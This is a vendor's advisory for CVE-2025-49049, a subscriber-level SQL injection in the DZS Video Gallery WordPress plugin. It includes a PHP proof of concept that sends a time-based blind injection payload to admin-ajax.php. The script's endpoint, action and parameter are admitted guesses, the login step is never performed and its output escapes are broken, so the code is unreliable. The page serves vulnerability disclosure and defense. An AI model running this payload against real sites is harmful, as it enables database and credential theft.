Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-49049: DZS Video Gallery <= 12.39 – Authenticated (Subscriber+) SQL Injection (dzs-videogallery)

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 12.39
Patched Version
Disclosed January 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-49049 (metadata-based):
This vulnerability is an authenticated SQL injection in the DZS Video Gallery WordPress plugin. Attackers with subscriber-level access or higher can inject malicious SQL commands through a user-supplied parameter. The flaw exists in versions up to and including 12.39, allowing data extraction from the database.

Atomic Edge research infers the root cause is improper neutralization of special elements in an SQL command (CWE-89). The description states insufficient escaping on a user-supplied parameter and a lack of sufficient query preparation. This suggests the plugin likely constructs SQL queries by directly concatenating user input into the query string without using WordPress’s `$wpdb->prepare()` method or proper escaping functions. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.

The exploitation method involves an authenticated attacker sending a crafted HTTP request to a plugin-specific endpoint. Based on WordPress plugin patterns, this is likely an AJAX handler at `/wp-admin/admin-ajax.php` with an action parameter like `dzs-videogallery_*` or a REST API endpoint. The attacker would append SQL injection payloads, such as a UNION SELECT, to the vulnerable parameter to extract sensitive information like user credentials or plugin data.

Remediation requires proper use of prepared statements with parameterized queries. The patched version 12.40 likely replaced direct string concatenation with `$wpdb->prepare()` or used proper escaping functions like `esc_sql()`. Input validation and strict capability checks for the affected functionality would also be prudent security improvements.

Successful exploitation leads to unauthorized information disclosure from the WordPress database. Attackers can extract sensitive data including hashed user passwords, personal information, and authentication cookies. This can facilitate further attacks like account takeover or privilege escalation. The CVSS vector indicates high confidentiality impact with no direct effect on integrity or availability.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49049 - DZS Video Gallery <= 12.39 - Authenticated (Subscriber+) SQL Injection
<?php
/**
 * Proof of Concept for CVE-2025-49049.
 * This script demonstrates a time-based blind SQL injection attack against the DZS Video Gallery plugin.
 * The exact vulnerable endpoint and parameter are inferred from common WordPress plugin patterns.
 * Assumptions:
 * 1. The vulnerability is in an AJAX handler accessible to subscribers.
 * 2. The action parameter contains 'dzs-videogallery'.
 * 3. A parameter like 'id' or 'vid' is vulnerable to SQL injection.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate and obtain WordPress session cookies
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
]);

// Simulate a login request (actual implementation would require wp-login.php and nonce handling)
// This PoC assumes valid subscriber credentials are already known and a session exists.
// In a real test, you would first authenticate via wp-login.php.

// Step 2: Craft the SQL injection payload
// Using a time-based blind SQL injection to avoid visible output assumptions.
// Payload sleeps for 5 seconds if the condition is true.
$malicious_param = "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- ";

// Step 3: Send the exploit request to the inferred AJAX endpoint
$post_data = [
    'action' => 'dzs_videogallery_get_video', // Inferred action name
    'vid' => $malicious_param, // Inferred vulnerable parameter
    // Other required parameters may be needed based on actual plugin code.
];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);

$elapsed_time = $end_time - $start_time;

// Step 4: Check for time delay indicating successful injection
if ($elapsed_time >= 5) {
    echo "[+] Potential SQL Injection successful. Server delayed response by " . round($elapsed_time, 2) . " seconds.n";
    echo "[+] The 'vid' parameter in the 'dzs_videogallery_get_video' AJAX action is likely vulnerable.n";
} else {
    echo "[-] No time delay detected. The inferred endpoint or parameter may be incorrect.n";
    echo "[-] Actual vulnerable endpoint/parameter requires source code analysis.n";
}

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School